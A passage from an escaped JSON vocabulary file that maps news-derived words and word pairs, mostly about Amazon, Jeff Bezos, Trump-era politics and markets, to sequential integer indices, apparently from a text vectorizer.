\"2121 trillion\": 210703,\n  \"probably prefer\": 210704,\n  \"foot data\": 210705,\n  \"partisan office\": 210706,\n  \"self promotion\": 210707,\n  \"ellen bern\": 210708,\n  \"look\": 210709,\n  \"heist rescuer\": 210710,\n  \"presidential adviser\": 210711,\n  \"day site\": 210712,\n  \"martinez monsivais\": 210713,\n  \"bribe mike\": 210714,\n  \"slams afl\": 210715,\n  \"rates send\": 210716,\n  \"dna cold\": 210717,\n  \"showed amazon\": 210718,\n  \"administering naloxone\": 210719,\n  \"weekly basis\": 210720,\n  \"tension ahead\": 210721,\n  \"doing nearby\": 210722,\n  \"page showing\": 210723,\n  \"offer lessons\": 210724,\n  \"shad frazier\": 210725,\n  \"caveats notably\": 210726,\n  \"stories benson\": 210727,\n  \"called pedo\": 210728,\n  \"rights white\": 210729,\n  \"making risky\": 210730,\n  \"owngovernment\": 210731,\n  \"make loans\": 210732,\n  \"holiday forecast\": 210733,\n  \"trade long\": 210734,\n  \"computer\": 210735,\n  \"organic utm_source\": 210736,\n  \"recent note\": 210737,\n  \"mandatory raise\": 210738,\n  \"voters approval\": 210739,\n  \"government open\": 210740,\n  \"stopped googling\": 210741,\n  \"world yes\": 210742,\n  \"wanted new\": 210743,\n  \"snatched\": 210744,\n  \"political considerations\": 210745,\n  \"downtrend\": 210746,\n  \"government broke\": 210747,\n  \"luncheon\": 210748,\n  \"sa l2\": 210749,\n  \"divided oversight\": 210750,\n  \"impasse right\": 210751,\n  \"positions impact\": 210752,\n  \"years children\": 210753,\n  \"longevity president\": 210754,\n  \"rekognition possible\": 210755,\n  \"cyberx northern\": 210756,\n  \"mchugh congressman\": 210757,\n  \"clever idea\": 210758,\n  \"involving national\": 210759,\n  \"fleeces\": 210760,\n  \"jewish voice\": 210761,\n  \"561\": 210762,\n  \"thoughtful negotiation\": 210763,\n  \"unlimited talk\": 210764,\n  \"listed company\": 210765,\n  \"disturbing\": 210766,\n  \"tctvoice madison\": 210767,\n  \"earnings cuts\": 210768,\n  \"person wasn\": 210769,\n  \"supporting military\": 210770,\n  \"irregularities including\": 210771,\n  \"forcibly unwound\": 210772,\n  \"sanchez amazon\": 210773,\n  \"services necessary\": 210774,\n  \"claims cohen\": 210775,\n  \"daily business\": 210776,\n  \"agency decision\": 210777,\n  \"purchases continues\": 210778,\n  \"shutdown talks\": 210779,\n  \"home cook\": 210780,\n  \"619 full16x9\": 210781,\n  \"york reuters\": 210782,\n  \"anger\": 210783,\n  \"700 workers\": 210784,\n  \"governmentof\": 210785,\n  \"lasting\": 210786,\n  \"world championship\": 210787,\n  \"mytilineos\": 210788,\n  \"dinging\": 210789,\n  \"really plays\": 210790,\n  \"walmart calls\": 210791,\n  \"original version\": 210792,\n  \"impact markets\": 210793,\n  \"loved amazon\": 210794,\n  \"large outflows\": 210795,\n  \"dean garfield\": 210796,\n  \"community activists\": 210797,\n  \"jim discusses\": 210798,\n  \"initiative president\": 210799,\n  \"reportedly gathered\": 210800,\n  \"shoppers browsing\": 210801,\n  \"charging right\": 210802,\n  \"pakistani girls\": 210803,\n  \"bowl extolling\": 210804,\n  \"daniel wilke\": 210805,\n  \"break ins\": 210806,\n  \"categorical sale\": 210807,\n  \"real simple\": 210808,\n  \"times navy\": 210809,\n  \"profits industry\": 210810,\n  \"manipulate proposal\": 210811,\n  \"trump revoked\": 210812,\n  \"situation lauren\": 210813,\n  \"jon seidel\": 210814,\n  \"2020 shirts\": 210815,\n  \"arabia turns\": 210816,\n  \"buy gun\": 210817,\n  \"fraud soars\": 210818,\n  \"johnny flynn\": 210819,\n  \"hired lauren\": 210820,\n  \"toole\": 210821,\n  \"amazonhttps specials\": 210822,\n  \"boesch\": 210823,\n  \"fisch\": 210824,\n  \"downright embarrassing\": 210825,\n  \"following months\": 210826,\n  \"operating expenses\": 210827,\n  \"arebasically\": 210828,\n  \"word\": 210829,\n  \"rolls taxing\": 210830,\n  \"brimble prestel\": 210831,\n  \"auditor doug\": 210832,\n  \"depot hike\": 210833,\n  \"jag\": 210834,\n  \"story janet\": 210835,\n  \"cold air\": 210836,\n  \"west private\": 210837,\n  \"democrats big\": 210838,\n  \"044 shares\": 210839,\n  \"martin sorrell\": 210840,\n  \"trade sent\": 210841,\n  \"reemerging\": 210842,\n  \"hark\": 210843,\n  \"comptroller\": 210844,\n  \"dozen tweets\": 210845,\n  \"access employees\": 210846,\n  \"comey firing\": 210847,\n  \"2024\": 210848,\n  \"potent publication\": 210849,\n  \"started partnering\": 210850,\n  \"colaneri anthony\": 210851,\n  \"venezuelans\": 210852,\n  \"supervisors\": 210853,\n  \"progressive politicians\": 210854,\n  \"trend galloway\": 210855,\n  \"strategy appears\": 210856,\n  \"attracting tech\": 210857,\n  \"volume wise\": 210858,\n  \"doesn ask\": 210859,\n  \"don succeed\": 210860,\n  \"torture\": 210861,\n  \"trusted brand\": 210862,\n  \"bu0yhealth\": 210863,\n  \"extra juicy\": 210864,\n  \"troubled teens\": 210865,\n  \"specifically blasted\": 210866,\n  \"just walked\": 210867,\n  \"subjugating\": 210868,\n  \"personal expenditures\": 210869,\n  \"hell paedos\": 210870,\n  \"tech greatness\": 210871,\n  \"siemens researchandmarkets\": 210872,\n  \"washington sputnik\": 210873,\n  \"kos ers\": 210874,\n  \"say don\": 210875,\n  \"simmering fears\": 210876,\n  \"course europe\": 210877,\n  \"2016 given\": 210878,\n  \"pharmacy entry\": 210879,\n  \"3351326\": 210880,\n  \"health organics\": 210881,\n  \"amazon margin\": 210882,\n  \"238 proposals\": 210883,\n  \"ex employees\": 210884,\n  \"agrees wide\": 210885,\n  \"president tweet\": 210886,\n  \"include funding\": 210887,\n  \"nontraditional\": 210888,\n  \"nytimes nbcnews\": 210889,\n  \"cabinet gsi\": 210890,\n  \"trump reporting\": 210891,\n  \"concrete\": 210892,\n  \"kohnstamm\": 210893,\n  \"property provided\": 210894,\n  \"annadel\": 210895,\n  \"play corruption\": 210896,\n  \"dove\": 210897,\n  \"health stock\": 210898,\n  \"downward blip\": 210899,\n  \"legislative purpose\": 210900,\n  \"post felt\": 210901,\n  \"corleone crime\": 210902,\n  \"breach\": 210903,\n  \"inscrutable\": 210904,\n  \"charged technology\": 210905,\n  \"vindicates trump\": 210906,\n  \"rauschenberg\": 210907,\n  \"baffling sketches\": 210908,\n  \"francisco denis\": 210909,\n  \"forbes billionaires\": 210910,\n  \"governments later\": 210911,\n  \"bake sales\": 210912,\n  \"pay nickel\": 210913,\n  \"bank ray\": 210914,\n  \"operate physical\": 210915,\n  \"fellowship\": 210916,\n  \"offering plhcf\": 210917,\n  \"swinton\": 210918,\n  \"movement protesters\": 210919,\n  \"crock\": 210920,\n  \"continued sort\": 210921,\n  \"year zinke\": 210922,\n  \"news organization\": 210923,\n  \"student public\": 210924,\n  \"week protests\": 210925,\n  \"center stage\": 210926,\n  \"service jim\": 210927,\n  \"autocracy\": 210928,\n  \"good pay\": 210929,\n  \"impersonators traveled\": 210930,\n  \"style weapons\": 210931,\n  \"selma\": 210932,\n  \"provides amazon\": 210933,\n  \"strategic blow\": 210934,\n  \"ballots cast\": 210935,\n  \"bearish option\": 210936,\n  \"critics includes\": 210937,\n  \"shady dealings\": 210938,\n  \"company buffett\": 210939,\n  \"reasoned broker\": 210940,\n  \"vera\": 210941,\n  \"clarida\": 210942,\n  \"various foods\": 210943,\n  \"buildout\": 210944,\n  \"industry chris\": 210945,\n  \"partisan campaign\": 210946,\n  \"2014 kellyanne\": 210947,\n  \"base including\": 210948,\n  \"critics say\": 210949,\n  \"intentionally delayed\": 210950,\n  \"buy target\": 210951,\n  \"cycle including\": 210952,\n  \"government primary\": 210953,\n  \"ezra waldman\": 210954,\n  \"require insurers\": 210955,\n  \"000 arrest\": 210956,\n  \"reuters 500\": 210957,\n  \"lion kelly\": 210958,\n  \"rebate\": 210959,\n  \"stock ahead\": 210960,\n  \"companies om\": 210961,\n  \"duty military\": 210962,\n  \"city official\": 210963,\n  \"nice new\": 210964,\n  \"levitan\": 210965,\n  \"nice complement\": 210966,\n  \"term incremental\": 210967,\n  \"points pistol\": 210968,\n  \"border solutions\": 210969,\n  \"trent lott\": 210970,\n  \"personification\": 210971,\n  \"developers lawyers\": 210972,\n  \"hourly\": 210973,\n  \"company needs\": 210974,\n  \"seeing slowdown\": 210975,\n  \"expected signature\": 210976,\n  \"caldwell county\": 210977,\n  \"shot 2018\": 210978,\n  \"hunters new\": 210979,\n  \"comparison using\": 210980,\n  \"loath\": 210981,\n  \"general sent\": 210982,\n  \"tiny sun\": 210983,\n  \"nyse mrk\": 210984,\n  \"concerning queens\": 210985,\n  \"additional delivery\": 210986,\n  \"2018 adherents\": 210987,\n  \"sydney freedberg\": 210988,\n  \"korea sudan\": 210989,\n  \"low ahead\": 210990,\n  \"rio grande\": 210991,\n  \"renders\": 210992,\n  \"pick just\": 210993,\n  \"trump attached\": 210994,\n  \"fedscoop\": 210995,\n  \"multiple government\": 210996,\n  \"center journalism\": 210997,\n  \"quarantined\": 210998,\n  \"home page\": 210999,\n  \"jabbed\": 211000,\n  \"freshman congresswoman\": 211001,\n  \"spec congress\": 211002,\n  \"transaction revenue\": 211003,\n  \"say just\": 211004,\n  \"trade groups\": 211005,\n  \"destroy countries\": 211006,\n  \"splurging\": 211007,\n  \"company rapid\": 211008,\n  \"undercutting pampers\": 211009,\n  \"lightweight packages\": 211010,\n  \"signed cause\": 211011,\n  \"zany\": 211012,\n  \"kingdom matt\": 211013,\n  \"amzn combined\": 211014,\n  \"firmer\": 211015,\n  \"q4 costs\": 211016,\n  \"entertained political\": 211017,\n  \"mentioned technology\": 211018,\n  \"morris director\": 211019,\n  \"gorelick judith\": 211020,\n  \"elect mike\": 211021,\n  \"lightweight dannyzuker\": 211022,\n  \"systemic banking\": 211023,\n  \"shareholders csr\": 211024,\n  \"sports telecasts\": 211025,\n  \"arabia seeks\": 211026,\n  \"environmentally sensitive\": 211027,\n  \"ms mcdougal\": 211028,\n  \"104 year\": 211029,\n  \"surging\": 211030,\n  \"major democratic\": 211031,\n  \"aws generated\": 211032,\n  \"deliberate\": 211033,\n  \"arnade author\": 211034,\n  \"floating anti\": 211035,\n  \"leaderhip\": 211036,\n  \"nafta trade\": 211037,\n  \"day promotion\": 211038,\n  \"furnish powerful\": 211039,\n  \"skaters\": 211040,\n  \"earlier accused\": 211041,\n  \"began keeping\": 211042,\n  \"yields fall\": 211043,\n  \"orbital satellite\": 211044,\n  \"just built\": 211045,\n  \"conveniences\": 211046,\n  \"generally unprepared\": 211047,\n  \"trademark holders\": 211048,\n  \"invited\": 211049,\n  \"ir\": 211050,\n  \"undercuts\": 211051,\n  \"board failed\": 211052,\n  \"advertising giants\": 211053,\n  \"real beard\": 211054,\n  \"contracting applications\": 211055,\n  \"outrageous tweets\": 211056,\n  \"2019 using\": 211057,\n  \"valley authority\": 211058,\n  \"private rocket\": 211059,\n  \"chops\": 211060,\n  \"gain commercial\": 211061,\n  \"union address\": 211062,\n  \"valuable concessions\": 211063,\n  \"cudgel\": 211064,\n  \"celebrity business\": 211065,\n  \"beefs\": 211066,\n  \"350\": 211067,\n  \"business maggie\": 211068,\n  \"google nytimes\": 211069,\n  \"deals amazon\": 211070,\n  \"realpolitik\": 211071,\n  \"photograph snapped\": 211072,\n  \"spectrum bands\": 211073,\n  \"presidency success\": 211074,\n  \"wealthsimple\": 211075,\n  \"costs according\": 211076,\n  \"little rock\": 211077,\n  \"future columns\": 211078,\n  \"journal fed\": 211079,\n  \"leggett previews\": 211080,\n  \"growth centered\": 211081,\n  \"stamps marking\": 211082,\n  \"instagram called\": 211083,\n  \"hour long\": 211084,\n  \"talks captain\": 211085,\n  \"containers\": 211086,\n  \"rallies wearing\": 211087,\n  \"brian winter\": 211088,\n  \"social cost\": 211089,\n  \"newsy week\": 211090,\n  \"deposit insurance\": 211091,\n  \"annex\": 211092,\n  \"null inc_canonical_url\": 211093,\n  \"billion jump\": 211094,\n  \"thatthey\": 211095,\n  \"gear 2018\": 211096,\n  \"immigration services\": 211097,\n  \"launching public\": 211098,\n  \"congresswoman carolyn\": 211099,\n  \"actually believed\": 211100,\n  \"vanguard tax\": 211101,\n  \"inclusiveness\": 211102,\n  \"database service\": 211103,\n  \"dc prior\": 211104,\n  \"siblings sold\": 211105,\n  \"firm rekognition\": 211106,\n  \"friendly democrats\": 211107,\n  \"author keach\": 211108,\n  \"corporate job\": 211109,\n  \"lira gained\": 211110,\n  \"action lawsuit\": 211111,\n  \"cronk\": 211112,\n  \"fissure\": 211113,\n  \"probes rep\": 211114,\n  \"applaud\": 211115,\n  \"entered correction\": 211116,\n  \"texts investigators\": 211117,\n  \"companies connected\": 211118,\n  \"economist\": 211119,\n  \"hardware privately\": 211120,\n  \"urayajvw36\": 211121,\n  \"verizon controls\": 211122,\n  \"buy using\": 211123,\n  \"thorny nature\": 211124,\n  \"select providers\": 211125,\n  \"1986 told\": 211126,\n  \"varma hr\": 211127,\n  \"openness\": 211128,\n  \"mario world\": 211129,\n  \"skarsg\\u00e5rd\": 211130,\n  \"deadliest\": 211131,\n  \"cornering\": 211132,\n  \"massachusetts passes\": 211133,\n  \"honor legendary\": 211134,\n  \"politically infused\": 211135,\n  \"played fox\": 211136,\n  \"play talking\": 211137,\n  \"ingredients amazingly\": 211138,\n  \"pennsylvania ohio\": 211139,\n  \"caucuses\": 211140,\n  \"arabia decision\": 211141,\n  \"b0 object\": 211142,\n  \"tha god\": 211143,\n  \"washington kavanaugh\": 211144,\n  \"cloud stocks\": 211145,\n  \"anniversary edition\": 211146,\n  \"relic\": 211147,\n  \"beach city\": 211148,\n  \"reached plea\": 211149,\n  \"condo sales\": 211150,\n  \"buy kinder\": 211151,\n  \"strike washington\": 211152,\n  \"biggest ugliest\": 211153,\n  \"jefferies report\": 211154,\n  \"uptown\": 211155,\n  \"body plays\": 211156,\n  \"suzanne frey\": 211157,\n  \"nyse tsn\": 211158,\n  \"steep upward\": 211159,\n  \"anschluss\": 211160,\n  \"election latest\": 211161,\n  \"roberts jim\": 211162,\n  \"calculates amazon\": 211163,\n  \"marketing markets\": 211164,\n  \"lawsuit spearheaded\": 211165,\n  \"point invest\": 211166,\n  \"badgered gop\": 211167,\n  \"currently locked\": 211168,\n  \"ago holzer\": 211169,\n  \"coming weeks\": 211170,\n  \"sorority\": 211171,\n  \"public citizen\": 211172,\n  \"media politifact\": 211173,\n  \"quarter legacy\": 211174,\n  \"ballots\": 211175,\n  \"573 million\": 211176,\n  \"dave brat\": 211177,\n  \"tales including\": 211178,\n  \"editor usa\": 211179,\n  \"echo products\": 211180,\n  \"offset national\": 211181,\n  \"dimension\": 211182,\n  \"deploy global\": 211183,\n  \"parsed\": 211184,\n  \"latest financial\": 211185,\n  \"jeffbezos washingtonpost\": 211186,\n  \"effect venture\": 211187,\n  \"unaccountable\": 211188,\n  \"check amzn\": 211189,\n  \"america today\": 211190,\n  \"lobbying team\": 211191,\n  \"overshadowed\": 211192,\n  \"foot traffic\": 211193,\n  \"office rudy\": 211194,\n  \"private rooms\": 211195,\n  \"bezos unconvincingly\": 211196,\n  \"appear online\": 211197,\n  \"government procurement\": 211198,\n  \"horatio\": 211199,\n  \"huge expansion\": 211200,\n  \"bezos appeared\": 211201,\n  \"substring r4ee\": 211202,\n  \"independent dominican\": 211203,\n  \"youtube science\": 211204,\n  \"brie\": 211205,\n  \"bezos pretends\": 211206,\n  \"punctuated\": 211207,\n  \"careless\": 211208,\n  \"b3x function\": 211209,\n  \"honored slain\": 211210,\n  \"untapped resources\": 211211,\n  \"sooraj\": 211212,\n  \"user privacy\": 211213,\n  \"different alaska\": 211214,\n  \"changes\": 211215,\n  \"trump department\": 211216,\n  \"preacher\": 211217,\n  \"smashed\": 211218,\n  \"technical grounds\": 211219,\n  \"reading designed\": 211220,\n  \"playing historical\": 211221,\n  \"edge oxford\": 211222,\n  \"twitter based\": 211223,\n  \"o4 o4\": 211224,\n  \"omnichannel retail\": 211225,\n  \"garbage\": 211226,\n  \"dissonance\": 211227,\n  \"political rallies\": 211228,\n  \"does waver\": 211229,\n  \"trump amerika\": 211230,\n  \"amid phone\": 211231,\n  \"marriage contrary\": 211232,\n  \"edge providers\": 211233,\n  \"big state\": 211234,\n  \"gallon\": 211235,\n  \"mauna loa\": 211236,\n  \"launched late\": 211237,\n  \"dr matt\": 211238,\n  \"sellers gain\": 211239,\n  \"amazon insurance\": 211240,\n  \"graves\": 211241,\n  \"scanned item\": 211242,\n  \"colorful creatures\": 211243,\n  \"new nafta\": 211244,\n  \"house vetting\": 211245,\n  \"twitter tweeting\": 211246,\n  \"self deprecating\": 211247,\n  \"diversion\": 211248,\n  \"real ideas\": 211249,\n  \"meeting amazon\": 211250,\n  \"package loads\": 211251,\n  \"mock enemies\": 211252,\n  \"shopper amazon\": 211253,\n  \"2017 helsinki\": 211254,\n  \"new land\": 211255,\n  \"wsj spacex\": 211256,\n  \"trump phrases\": 211257,\n  \"murdered aborted\": 211258,\n  \"commission prc\": 211259,\n  \"takeover unveiled\": 211260,\n  \"marvin bakalar\": 211261,\n  \"separate families\": 211262,\n  \"voices embedded\": 211263,\n  \"postal blue\": 211264,\n  \"problem amazon\": 211265,\n  \"google group\": 211266,\n  \"sodo institution\": 211267,\n  \"network conference\": 211268,\n  \"token agency\": 211269,\n  \"podcasty\": 211270,\n  \"deal carrell\": 211271,\n  \"1991\": 211272,\n  \"blitzer breaking\": 211273,\n  \"sequential basis\": 211274,\n  \"researchandmarkets\": 211275,\n  \"told sanchez\": 211276,\n  \"emails obtained\": 211277,\n  \"mutually agreeable\": 211278,\n  \"pluto\": 211279,\n  \"melamed\": 211280,\n  \"orchestrating underground\": 211281,\n  \"fleetwood mac\": 211282,\n  \"rrainey\": 211283,\n  \"issue breaking\": 211284,\n  \"city prompting\": 211285,\n  \"taxpayer closer\": 211286,\n  \"state southern\": 211287,\n  \"probably rule\": 211288,\n  \"practices advocacy\": 211289,\n  \"easily preventable\": 211290,\n  \"actvities\": 211291,\n  \"public federal\": 211292,\n  \"second studio\": 211293,\n  \"inactive nowadays\": 211294,\n  \"briefing subscribers\": 211295,\n  \"wager relatively\": 211296,\n  \"reflected glow\": 211297,\n  \"target undocumented\": 211298,\n  \"exact particulars\": 211299,\n  \"says wells\": 211300,\n  \"shipping volumes\": 211301,\n  \"tight boxer\": 211302,\n  \"pages 183\": 211303,\n  \"time whatthe\": 211304,\n  \"echo additions\": 211305,\n  \"isaac toups\": 211306,\n  \"0001 trillion\": 211307,\n  \"monogram design\": 211308,\n  \"host paul\": 211309,\n  \"incoming president\": 211310,\n  \"necessary yearly\": 211311,\n  \"thatthey want\": 211312,\n  \"hits theaters\": 211313,\n  \"oregon coast\": 211314,\n  \"intrigue\": 211315,\n  \"months national\": 211316,\n  \"cities spend\": 211317,\n  \"service plenty\": 211318,\n  \"flake share\": 211319,\n  \"hacks\": 211320,\n  \"charles payne\": 211321,\n  \"billinson\": 211322,\n  \"priority small\": 211323,\n  \"monroeville sickening\": 211324,\n  \"conservancy ecolab\": 211325,\n  \"military backs\": 211326,\n  \"amazon beloved\": 211327,\n  \"bringing amazon\": 211328,\n  \"run rampant\": 211329,\n  \"ban military\": 211330,\n  \"multiple department\": 211331,\n  \"patch anna\": 211332,\n  \"paper public\": 211333,\n  \"merchandise included\": 211334,\n  \"jericka duncan\": 211335,\n  \"pew research\": 211336,\n  \"cash poor\": 211337,\n  \"narrowly targeted\": 211338,\n  \"legal challenge\": 211339,\n  \"help develop\": 211340,\n  \"sympathetic congress\": 211341,\n  \"security requirements\": 211342,\n  \"chairman broward\": 211343,\n  \"user named\": 211344,\n  \"relatively meager\": 211345,\n  \"radcliffe\": 211346,\n  \"aa\": 211347,\n  \"outlast trump\": 211348,\n  \"romney held\": 211349,\n  \"security impasse\": 211350,\n  \"liberties groups\": 211351,\n  \"impeachment\": 211352,\n  \"contracts wouldn\": 211353,\n  \"shops truly\": 211354,\n  \"145 000\": 211355,\n  \"tm bezos\": 211356,\n  \"topid topfilelocation\": 211357,\n  \"world live\": 211358,\n  \"house uestions\": 211359,\n  \"undimmed\": 211360,\n  \"shuttle trump\": 211361,\n  \"susan welcome\": 211362,\n  \"cargo plane\": 211363,\n  \"planning bought\": 211364,\n  \"atsopro rt\": 211365,\n  \"driven storylines\": 211366,\n  \"outsider\": 211367,\n  \"person does\": 211368,\n  \"crusader\": 211369,\n  \"nikki\": 211370,\n  \"alphabet founded\": 211371,\n  \"volleys\": 211372,\n  \"armour\": 211373,\n  \"states lost\": 211374,\n  \"chair amid\": 211375,\n  \"finished products\": 211376,\n  \"farrow wrote\": 211377,\n  \"200 countries\": 211378,\n  \"amazon growing\": 211379,\n  \"service todays\": 211380,\n  \"term options\": 211381,\n  \"newscaster lauren\": 211382,\n  \"rig\": 211383,\n  \"destination fully\": 211384,\n  \"launched offline\": 211385,\n  \"absurdly cheap\": 211386,\n  \"housing today\": 211387,\n  \"acknowledgement\": 211388,\n  \"week cnn\": 211389,\n  \"lobbying spend\": 211390,\n  \"francisco giants\": 211391,\n  \"longest runways\": 211392,\n  \"felt\": 211393,\n  \"speaker small\": 211394,\n  \"happy paul\": 211395,\n  \"costs soar\": 211396,\n  \"escalated trump\": 211397,\n  \"axios capitol\": 211398,\n  \"year saw\": 211399,\n  \"employee referred\": 211400,\n  \"recently overcame\": 211401,\n  \"vegetable focused\": 211402,\n  \"200 shares\": 211403,\n  \"greenville sc\": 211404,\n  \"founder cvs\": 211405,\n  \"business adviser\": 211406,\n  \"mueller indictment\": 211407,\n  \"insider wilke\": 211408,\n  \"management write\": 211409,\n  \"stated reasons\": 211410,\n  \"stock growth\": 211411,\n  \"john early\": 211412,\n  \"amid bunk\": 211413,\n  \"computer vector\": 211414,\n  \"retiree\": 211415,\n  \"ties friends\": 211416,\n  \"seeking advice\": 211417,\n  \"gary busey\": 211418,\n  \"foreignintelligencesurveillanceact iran\": 211419,\n  \"keisha\": 211420,\n  \"wp\": 211421,\n  \"promoting seeking\": 211422,\n  \"urges greater\": 211423,\n  \"passenger market\": 211424,\n  \"becker private\": 211425,\n  \"offer directly\": 211426,\n  \"concrete example\": 211427,\n  \"automated accounts\": 211428,\n  \"overall economy\": 211429,\n  \"nyt reporter\": 211430,\n  \"nixon donald\": 211431,\n  \"stunt\": 211432,\n  \"bezos highlighted\": 211433,\n  \"khan powerfully\": 211434,\n  \"seen little\": 211435,\n  \"president mikepence\": 211436,\n  \"purpose nixon\": 211437,\n  \"large suffering\": 211438,\n  \"created task\": 211439,\n  \"year short\": 211440,\n  \"clearly states\": 211441,\n  \"emergency door\": 211442,\n  \"interesting donation\": 211443,\n  \"growth rate\": 211444,\n  \"previously provided\": 211445,\n  \"hit capitol\": 211446,\n  \"uvu\": 211447,\n  \"modeled\": 211448,\n  \"mendacious\": 211449,\n  \"7277761194 website\": 211450,\n  \"access instead\": 211451,\n  \"transatlantic partnership\": 211452,\n  \"airport nungesser\": 211453,\n  \"cumulative effect\": 211454,\n  \"stoppage\": 211455,\n  \"card additionally\": 211456,\n  \"medical records\": 211457,\n  \"industrialized commodities\": 211458,\n  \"hasten delivery\": 211459,\n  \"secure better\": 211460,\n  \"bezos remove\": 211461,\n  \"280 000\": 211462,\n  \"core contradiction\": 211463,\n  \"carlson bob\": 211464,\n  \"dollars\": 211465,\n  \"living legend\": 211466,\n  \"doozy\": 211467,\n  \"worldwide retail\": 211468,\n  \"long standing\": 211469,\n  \"jail charges\": 211470,\n  \"senior administration\": 211471,\n  \"week strongly\": 211472,\n  \"supporting patients\": 211473,\n  \"pettypiece president\": 211474,\n  \"xr sold\": 211475,\n  \"gritty\": 211476,\n  \"traditionally known\": 211477,\n  \"watching game\": 211478,\n  \"nearest bathroom\": 211479,\n  \"people paid\": 211480,\n  \"manchin\": 211481,\n  \"meeting suggest\": 211482,\n  \"imports froome\": 211483,\n  \"italia\": 211484,\n  \"news amid\": 211485,\n  \"alandersh judgejeanine\": 211486,\n  \"wobbly\": 211487,\n  \"secrets starting\": 211488,\n  \"ncyha residents\": 211489,\n  \"order make\": 211490,\n  \"lordstown united\": 211491,\n  \"inconvenient\": 211492,\n  \"extreme leniency\": 211493,\n  \"maga dark\": 211494,\n  \"young daughters\": 211495,\n  \"thedcnf\": 211496,\n  \"conservative alternative\": 211497,\n  \"receives lot\": 211498,\n  \"bezos dreams\": 211499,\n  \"story jpg\": 211500,\n  \"clary afp\": 211501,\n  \"studies brian\": 211502,\n  \"overworking\": 211503,\n  \"violence despite\": 211504,\n  \"thant\": 211505,\n  \"effective prices\": 211506,\n  \"\\u0142115\": 211507,\n  \"trump formed\": 211508,\n  \"posit\": 211509,\n  \"american flags\": 211510,\n  \"darrah contributed\": 211511,\n  \"212000\": 211512,\n  \"exclusive interview\": 211513,\n  \"primary democrat\": 211514,\n  \"million president\": 211515,\n  \"slansky griffith\": 211516,\n  \"solider\": 211517,\n  \"security budget\": 211518,\n  \"govpredict showing\": 211519,\n  \"nuclear agreement\": 211520,\n  \"stock tilray\": 211521,\n  \"rock stars\": 211522,\n  \"investigating allegations\": 211523,\n  \"henhawk joni\": 211524,\n  \"grrr boycottwalmart\": 211525,\n  \"primarily driven\": 211526,\n  \"seattle workforce\": 211527,\n  \"summer hey\": 211528,\n  \"acumen\": 211529,\n  \"mean ozzy\": 211530,\n  \"phallic images\": 211531,\n  \"computing provider\": 211532,\n  \"balanced ecommerce\": 211533,\n  \"haven figured\": 211534,\n  \"seats\": 211535,\n  \"luhnow\": 211536,\n  \"story claimed\": 211537,\n  \"leaves amazon\": 211538,\n  \"incursions moore\": 211539,\n  \"relatives works\": 211540,\n  \"councils\": 211541,\n  \"trump lot\": 211542,\n  \"ashok sharma\": 211543,\n  \"town\": 211544,\n  \"costs rising\": 211545,\n  \"transferring billion\": 211546,\n  \"trump defended\": 211547,\n  \"force recommended\": 211548,\n  \"vast video\": 211549,\n  \"government justice\": 211550,\n  \"journalists really\": 211551,\n  \"story worst\": 211552,\n  \"half pic\": 211553,\n  \"rode bicycles\": 211554,\n  \"lose monthly\": 211555,\n  \"tweeted referring\": 211556,\n  \"finalist\": 211557,\n  \"implicate\": 211558,\n  \"policing power\": 211559,\n  \"business university\": 211560,\n  \"counsels investigation\": 211561,\n  \"alleged affinity\": 211562,\n  \"jinping shares\": 211563,\n  \"secured leading\": 211564,\n  \"roasting facebook\": 211565,\n  \"undergoing massive\": 211566,\n  \"farm districts\": 211567,\n  \"retail groups\": 211568,\n  \"pro impeachment\": 211569,\n  \"shying\": 211570,\n  \"sidecar plan\": 211571,\n  \"red antler\": 211572,\n  \"expressing concerns\": 211573,\n  \"thwart trump\": 211574,\n  \"lawson\": 211575,\n  \"joshtpm\": 211576,\n  \"patricia continental\": 211577,\n  \"amazon patient\": 211578,\n  \"digital identification\": 211579,\n  \"trails industrial\": 211580,\n  \"sinegal investors\": 211581,\n  \"corporate documents\": 211582,\n  \"separated families\": 211583,\n  \"security issues\": 211584,\n  \"unemployment greg\": 211585,\n  \"reports reuters\": 211586,\n  \"considered ill\": 211587,\n  \"usps getting\": 211588,\n  \"lynn woolsey\": 211589,\n  \"bookmakers\": 211590,\n  \"days donald\": 211591,\n  \"work crews\": 211592,\n  \"chapter patriots\": 211593,\n  \"reportedly asking\": 211594,\n  \"affect thousands\": 211595,\n  \"president desk\": 211596,\n  \"vestager\": 211597,\n  \"attempting\": 211598,\n  \"buisness insider\": 211599,\n  \"deficit widens\": 211600,\n  \"federation cavuto\": 211601,\n  \"arabia bezos\": 211602,\n  \"cecilia malmstrom\": 211603,\n  \"forward include\": 211604,\n  \"story amid\": 211605,\n  \"cancer cures\": 211606,\n  \"brazilian\": 211607,\n  \"visit wisconsin\": 211608,\n  \"propaganda makeover\": 211609,\n  \"everglades\": 211610,\n  \"google sales\": 211611,\n  \"government damares\": 211612,\n  \"tax avoidance\": 211613,\n  \"drug lord\": 211614,\n  \"cause widespread\": 211615,\n  \"rickjnewmanfollow yahoo\": 211616,\n  \"city campus\": 211617,\n  \"comparatively cheaper\": 211618,\n  \"edwards paying\": 211619,\n  \"customer checkouts\": 211620,\n  \"industrial park\": 211621,\n  \"kitteridge\": 211622,\n  \"maker hasbro\": 211623,\n  \"brown red\": 211624,\n  \"sanders addresses\": 211625,\n  \"sparked level\": 211626,\n  \"scanning\": 211627,\n  \"liability invested\": 211628,\n  \"lunatic\": 211629,\n  \"trump tension\": 211630,\n  \"meantime silicon\": 211631,\n  \"gamble pg\": 211632,\n  \"groups want\": 211633,\n  \"bad example\": 211634,\n  \"possible abuses\": 211635,\n  \"better relationship\": 211636,\n  \"agricultural workers\": 211637,\n  \"valley execs\": 211638,\n  \"business trump\": 211639,\n  \"insistent\": 211640,\n  \"servers\": 211641,\n  \"sapiens\": 211642,\n  \"reduce encana\": 211643,\n  \"destroyer nicole\": 211644,\n  \"growing distribution\": 211645,\n  \"murky forecasts\": 211646,\n  \"york hq\": 211647,\n  \"digitization\": 211648,\n  \"nyt points\": 211649,\n  \"vineeta\": 211650,\n  \"called stuff\": 211651,\n  \"chinese military\": 211652,\n  \"vehemently oppose\": 211653,\n  \"good evening\": 211654,\n  \"competing delivery\": 211655,\n  \"repelled\": 211656,\n  \"economy acre\": 211657,\n  \"5dewbfewm0\": 211658,\n  \"lucia berlin\": 211659,\n  \"dang utensil\": 211660,\n  \"abramowitz\": 211661,\n  \"wojtaszek personal\": 211662,\n  \"agency money\": 211663,\n  \"definitive account\": 211664,\n  \"anna torv18\": 211665,\n  \"tough business\": 211666,\n  \"cigarettes united\": 211667,\n  \"sends subpoena\": 211668,\n  \"kaczynski\": 211669,\n  \"extra costs\": 211670,\n  \"colman complains\": 211671,\n  \"months ha\": 211672,\n  \"write laurel\": 211673,\n  